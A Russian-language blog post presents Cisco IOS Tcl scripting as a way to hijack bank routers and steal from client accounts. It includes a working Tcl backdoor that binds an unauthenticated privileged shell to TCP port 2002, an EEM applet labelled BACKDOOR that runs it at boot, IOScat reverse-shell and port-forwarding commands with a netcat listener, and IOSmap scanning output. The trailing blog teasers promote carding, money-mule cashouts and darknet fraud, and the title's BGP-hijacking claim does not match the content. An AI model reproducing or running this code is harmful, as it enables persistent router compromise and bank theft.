Skip to main content

Реальный перехват bgp-сессии при помощи Cisco TCL

Достаточно часто в ходе подготовки процесса по перекачиванию денег со смарт-контрактов какой-нибудь криптовалютной биржи или банковских счетов или попросту заливов на карты встречаются маршрутизаторы Cisco Systems с привилегированным доступом level 15, что позволяет использовать их для производства нелегальных денежных переводов и скачиваний с использованием функционала TCL.

Сейчас я опишу несколько методов скачивания денег со счетов клиентов банка и перевода их на счета дропов, и поверь, их использование действительно приводит к повышению прав на, якобы, защищенном маршрутизаторе.

дроповоды в Ростелекоме и bgp-перехват
Tcl – это Tool Command Language, язык сценариев, часто применяемых с графической библиотекой Tk, был придуман в начале 80-х годов и из-за своей простоты продолжает повсеместно использоваться как встроенный в различные приложения; вспомним хотя бы программы expect или irc-ботов eggdrop, а также использование его как модуля к серверной части apache mod_tcl. В операционную систему IOS, используемую маршрутизаторами Cisco Tcl, был введен с версии IOS 12.3(2)T, что позволило реализовать в маршрутизаторах Cisco Systems функции выполнения "пользовательских" скриптов. Как наиболее часто встречаемый пример, использование IOS IVR для создания интерактивных голосовых меню в системах IP-телефонии.
Используя функционал Tcl, мы имеем возможность работать с сокетами, в данном случае открывается некоторая перспектива использования маршрутизатора для следующих действий:
  • Разработки собственного варианта "бэкдора" с целью закрепления системы и доступа к ней в обход штатных механизмов защиты;
  • Проведения сканирования портов в различных сегментах сети;
  • Проброса действующих портов на порт интерфейса, организации обратного (реверсного) доступа к удаленным устройствам;
  • Разработки вариантов скриптов для возможности перебора паролей (брутфорса) различных устройств и серверов в сети.
Данными методами также может воспользоваться заливщик денег или дроповод, получив доступ к TFTP-серверу компании, где размещены существующие TCL-сценарии и принудительно заменить существующий сценарий на собственный, предназначенный для скачивания денег со счетов клиентов банка. В этом случае произойдет его загрузка и запуск на маршрутизаторе.

Практикуемся

Давай попробуем понять, как это можно реализовать с помощью удаленного шелла, который можно использовать без явной аутентификации с входом на назначенный порт по протоколу Telnet. Подобный сценарий использовался в качестве задания на соревнованиях "Рускрипто CTF 2010".
В первую очередь давай разберем, как работает Tcl на устройствах под управлением IOS.

Загрузка и исполнение TCL-скрипта:
Для первичной загрузки TCL-скриптов необходимо иметь привилегированный доступ не ниже уровня 15 enable. Скрипт Tcl необходимо загружать удаленно, для этого можно использовать такие протоколы, как TFTP, FTP, RCP, SCP. Загрузку и выполнение скрипта можно выполнять как напрямую в RAM-маршрутизатора, так и в FLASH-память c последующим его запуском с файловой системы IOS.
Загрузка скрипта во FLASH и последующее его выполнение:
Router# copy tftp://192.168.1.4/script.tcl flash://script.tcl
Router# tclsh flash://script.tcl
Загрузка скрипта непосредственно с TFTP-сервера:
Router# tclsh tftp://192.168.1.4/script.tcl
Ниже приведен пример TCL-скрипта, который при запуске захватывает сокет на порт TCP/2002 и связывает его с интерфейсом командной строки (EXEC). Загрузка скрипта выполняется методами, описанными выше (в приведенном примере с сервера TFTP).
proc callback {sock addr port} { 
fconfigure $sock -translation crlf -buffering line
puts $sock "Cisco router admin console:" 
puts $sock " " 
puts -nonewline $sock "Router# "
flush $sock
fileevent $sock readable [list echo $sock] 


proc echo {sock} {
global var

flush $sock

if {[catch {gets $sock line}] || 
[eof $sock]} {
return [close $sock]
}

catch {exec $line} result
if {[catch {puts $sock $result}]} {
return [close $sock]
}

puts -nonewline $sock "Router# "
flush $sock
}

set port 2002
set sh [socket -server callback $port] 
vwait var 
close $sh
После загрузки и последующего запуска вышеприведенного сценария появится возможность зайти в систему режим EXEC без использования учетных записей и выполнять любые команды с использованием привилегий супер-пользователя level 15.
[ptsec@maxpatrol ~]$ telnet router 2002
Trying 192.168.1.10...
Connected to router.
Escape character is '^]'.

Cisco router admin console:

Router#
Далее я бы хотел рассказать о некоторых ограничениях, которые необходимо помнить при работе с Tcl на устройствах под управлением IOS. В первых версиях IOS, включающих поддержку Tcl, скрипт продолжал свою работу даже при прерывании EXEC-сессии. В новых версиях последовало исправление, которое завершает работу скрипта при обрыве линии или по команде clear line. Этот "патч-фикс" производителя можно обойти несколькими способами:
1. На линиях, (console 0 или vty 0 4), с которых запускается скрипт, применить команду exec-timeout 0 0, в противном случае по завершении сессии скрипт завершит свою работу.
Router>en
Router#conf t
Enter configuration commands, one per line. End with CNTL/Z.
Router(config)#line vty 0 4
Router(config-line)#exec-timeout 0 0
2. Производить запуск сценария с использованием апплетов EEM (Embedded Event Manager) по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру. На примере ниже показана конфигурация, которая загружает скрипт с TFTP после запуска маршрутизатора по истечении 20 секунд.
Router(config)# event manager applet BACKDOOR
Router(config-applet)# event timer countdown name Delay time 20
Router(config-applet)# action 1.0 cli command "enable"
Router(config-applet)# action 1.1 cli command "tclsh tftp://192.168.1.4/script.tcl"
Router(config-applet)# action 1.2 syslog msg "Backdoor is executed"
3. Конвертировать TCL-сцкнарий в формат политик EEM (Embedded Event Manager) и запускать их по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру.

Готовые утилиты и денежные читы

В ряде ситуаций можно использовать готовые сценарии, такие как IOScat и IOSmap, входящие в IOScat, позволяющие осуществлять проброс портов, прием и передачу файлов путем манипуляций с сокетами. Используя встроенный язык TCL, можно использовать маршрутизатор аналогично ПК с установленным приложением Netcat, предварительно загрузив скрипт TCL в flash-маршрутизатор или через TFTP-сервер напрямую в RAM. Методика загрузки и установки TCL на маршрутизатор описана выше.

Примеры реализации:
Организация бэкдора на маршрутизаторе (2002 порт):
Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 –oe
Организация реверсного шелла на адрес заливщика денег или дроповода (порт 12345):
Router# tclsh tftp://192.168.1.4/ioscat.tcl -ie -oa192.168.1.4 -op12345
(на твоей машине приемником шелла выступает обычный netcat: nc -l -p 12345)
Проброс удаленного порта на локальный порт маршрутизатора (2002):
Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 -oa192.168.2.1 -op80
У данного сценария есть много других примеров, например копирование файлов с использованием сокетов, имитация телнет-сессии на удаленном хосте и много других функций, которые можно посмотреть на сайте разработчика.
Сценарий с названием IOSmap – не что иное, как попытка создать аналог сканера nmap, конечно, в урезанном функционале, но в данном случае достаточно эксклюзивным для работы в среде IOS. Функционал этого TCL-скрипта позволяет производить сканирование диапазонов IP-адресов на открытые TCP/UDP-порты, в том числе используя метод инвентаризации хостов посредством протокола ICMP.
Рассмотрим примеры использования:
Router>en
Router#tclsh tftp://192.168.1.4/iosmap.tcl 192.168.1.1-5 -p20-24,80,443
Loading iosmap.tcl from 192.168.1.4 (via FastEthernet0/0): !
[OK - 15912 bytes]

Loading services.list from 192.168.1.4 (via FastEthernet0/0): !
[OK - 42121 bytes]

Starting IOSmap 0.9 ( http://www.defaultroute.ca ) at 2002-03-01 02:59 UTC

Free Memory on Platform = 29038388 / Memory required for this scan = 2622514

Host 192.168.1.1 is unavailable

Host 192.168.1.2 is unavailable

Host 192.168.1.3 is unavailable

Interesting ports on host 192.168.1.4
PORT STATE SERVICE
20/tcp closed ftp-data
21/tcp closed ftp
22/tcp closed ssh
23/tcp closed telnet
24/tcp closed priv-mail
80/tcp open http
443/tcp closed https

Host 192.168.1.5 is unavailable

Router#
Изменение вариантов сканирования скрипта возможно путем добавления аргументов:
-sP – только по ответу хоста;
-sT – TCP-портов методом TCP connect;
-sU – UDP-портов через функционал IP SLA.
Учитывая богатые возможности ТСL, можно разработать множество подобных, интересных приложений для реализации их в сетевой среде на оборудовании Cisco Systems для применения в локальной вычислительной сети банка для скачивания денег и перевода на счета дропов.

Как скрыть залив

Имея возможность запускать сценарии, также интересно иметь возможность отследить их исполнение. Сделать это можно, подсмотрев процессы и состояние портов на маршрутизаторе, используя следующие команды маршрутизатора:
Router#show processes cpu | i Tcl
212 2284 17762 128 3.68% 2.88% 0.67% 162 Tcl Serv - tty16

Router#show tcp brief all
TCB Local Address Foreign Address (state)
659CDABC 192.168.1.10.23 192.168.1.4.5163 ESTAB
654485B4 *.2002 *.* LISTEN
65CA2D04 *.80 *.* LISTEN
Начиная с версии IOS 12.4(4)Т появилась возможность использования CPP (Control Plane Policy):
Router#show control-plane host open-ports
Active internet connections (servers and established)
Prot Local Address Foreign Address Service State
tcp *:23 *:0 Telnet LISTEN
tcp *:23 192.168.1.4:1379 Telnet ESTABLIS
tcp *:80 *:0 HTTP CORE LISTEN
tcp *:1234 *:0 Tcl Serv - tty163 LISTEN


Cisco devices in 1999 and 2023
Без лоха и жизнь плоха
Таким образом, все поняли, что любую, даже самую защищенную банковскую Cisco можно захватить умело написанным и запущенным TCL-сценарием. В итоге заливщик или дроповод получает шелл для скачивания денег со всеми вытекающими отсюда последствиями. 

Popular posts from this blog

Сбербанк и дропы с площадки Dark Money, и кто кого?

Крупных открытых площадок в даркнете, специализирующихся именно на покупке-продаже российских банковских данных, обнале и скаме около десятка, самая большая из них – это Dark Money . Здесь есть нальщики, дропы, заливщики, связанный с ними бизнес, здесь льют и налят миллионы, здесь очень много денег, но тебе не стоит пока во все это суваться. Кинуть тут может любой, тут кидали и на десятки миллионов и на десятки рублей. Кидали новички и кидали проверенные люди, закономерности нету. Горячие темы – продажи данных, банковских карт, поиск сотрудников в скам и вербовка сотрудников банков и сотовых операторов, взлом аккаунтов, обнал и советы – какими платежными системы пользоваться, как не попасться милиции при обнале, сколько платить Правому Сектору или патрулю, если попались. Одна из тем – онлайн-интервью с неким сотрудником Сбербанка, который время от времени отвечает на вопросы пользователей площадки об уязвимостях системы банка и дает советы, как улучшить обнальные схемы. Чтобы пользова

Где искать залив на банковский счет или карту?

Есть несколько способов сделать банковский перевод на карту или счет или иначе на слэнге дроповодов это называется "сделать залив на карту " для начала работы вам понадобиться зайти в чей-то чужой уже существующий кабинет интернет-банка, причем не важно какого, банк может быть любым, главное чтобы на счету " холдера " были хоть какие-то деньги для того, чтобы зайти в интернет банк вам понадобится узнать логин и пароль, смотрим видео о том, как их получить для того, чтобы зайти в чужой интернет-банк: хотя конечно, скажу тебе честно, только ты не обижайся, сейчас все нормальные сделки по обналу делают краснопёрые, сидящие в банках, всякие там внедрённые агенты ФСО, Mi6 или CIA, а льют сотрудники крупных телекомов или штатные работники NSA и GCHQ, а всё остальное - это просто лоховство или чистой воды развод на бабло в виде предоплаты

Как работает банк со своими корреспондентами по SWIFT

Итак, наш банк имеет открытые корреспондентские счета в США (CITIBANK N.A. NEW YORK), в Европе (VTB BANK DEUTSCHLAND AG), в России (Промсвязьбанк Москва и Собинбанк Москва). Соответственно, все расследования по платежам происходят через эти банки согласно  установленным корреспондентским отношениям с использованием соответствующих форматов SWIFT MT-195/295, MT-196/296, MT-199/299 и MT-192/292 Кроме прямых корреспондентских отношений с банками, нашим банком установлены отношения и с другими финансовыми организациями через процедуру обмена ключами, что даёт возможность использовать SWIFT-форматы МТ-195, МТ-196 и МТ-199 для проведения процедуры расследования по стандартным платежам и платежам с покрытием: - DEUTSCHE BANK TRUST COMPANY AMERICAS USA - COMMERZBANK AG Germany - CITIBANK N.A. London - CITIBANK N.A. Brussels - BANQUE DE COMMERCE ET DE PLACEMENTS S.A. Geneva - NORVIK BANKA JSC  LV - ABLV BANK AS  LV В среднем процедура расследования занимает от 3 до 14 дней (е

Как найти реального заливщика

Своего первого реального заливщика, который показал мне как можно скачать деньги в интернет с банковских счетов, я нашел случайно, когда еще трудился в Укртелекоме сменным инженером немного подрабатывая продавая трафик налево , но потом этот человек отошел от дел в связи со слишком уж скользкой ситуацией в данной сфере, и я решил поискать партнера на форумах, разместив рекламу на трёх электронных досках объявлений. Честно говоря поначалу даже был готов сразу закинуть 500 000 гривен в Гарант, но потом призадумался, а стоит ли? Ко мне начал обращаться народ обращается разных категорий 1. Дебильная школота, которая что-то любит повтирать про свою серьезность и просит закинуть 10 000 USD им на Вебмани в качестве аванса  2. Реальные мэны, которые  льют сразу большую сумму по SWIFT  без разговоров про гарантии и прочую шнягу, но после того, как им отдаёшь нал, они сразу пропадают, суть данных действий я так и не понял. зачем пропадать, если всё прошло гладко? 3. Мутные личност

DDOS атаки на маршрутизатор и методы защиты Juniper routing engine

По долгу службы мне часто приходится сталкиваться с DDOS на сервера, но некоторое время назад столкнулся с другой атакой, к которой был не готов. Атака производилась на маршрутизатор  Juniper MX80 поддерживающий BGP сессии и выполняющий анонс сетей дата-центра. Целью атакующих был веб-ресурс расположенный на одном из наших серверов, но в результате атаки, без связи с внешним миром остался весь дата-центр. Подробности атаки, а также тесты и методы борьбы с такими атаками под катом.  История атаки Исторически сложилось, что на маршрутизаторе блокируется весь UDP трафик летящий в нашу сеть. Первая волна атаки (в 17:22) была как раз UDP трафиком, график unicast пакетов с аплинка маршрутизатора: и график unicast пакетов с порта свича подключенного к роутеру: демонстрируют, что весь трафик осел на фильтре маршрутизатора. Поток unicast пакетов на аплинке маршрутизатора увеличился на 400 тысяч и атака только UDP пакетами продолжалась до 17:33. Далее атакующие изменили стратегию и добавили к

Google Pay просто так выплатил вознаграждение пользователям

Пользователи Google Pay массово сообщают , что Google перечислила на их счета от 10 до 1000 долларов США. Деньги поступили по программе Google Pay Reward в виде кешбэка, однако кешбэком не были. Такие поступления были ошибкой и сопровождались сообщением, что идет тестирование Google Pay Remittance , однако у тех, кто успел потратить полученные средства, их обещали не отбирать. Как писали и показывали на многочисленных скриншотах пользователи, переводы средств сопровождались сообщением: « dogfooding the Google Pay Remittance experience ». Дело в том, что термином « Dogfooding » обычно называют внутреннее бета-тестирование перед релизом каких-либо продуктов. То есть тестовые переводы должны были получить только сотрудники Google и, вероятно, некоторые партнеры компании. В настоящее время пользователям, получившим неожиданные переводы, уже прислали письма от команды Google Pay с подробным описанием «ошибки, которая привела к непреднамеренному зачислению средств на счет». Так как с